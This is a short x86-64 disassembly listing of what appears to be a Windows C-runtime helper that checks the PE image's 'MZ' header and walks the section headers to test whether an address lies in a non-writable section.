sub rsp, 0x28
mov r9, qword [0x14000d9a0]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x140005c2f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140005c2f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x140005c2d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140005c24
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140005c38
add rax, 0x28
cmp rax, r9
jne 0x140005c10
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret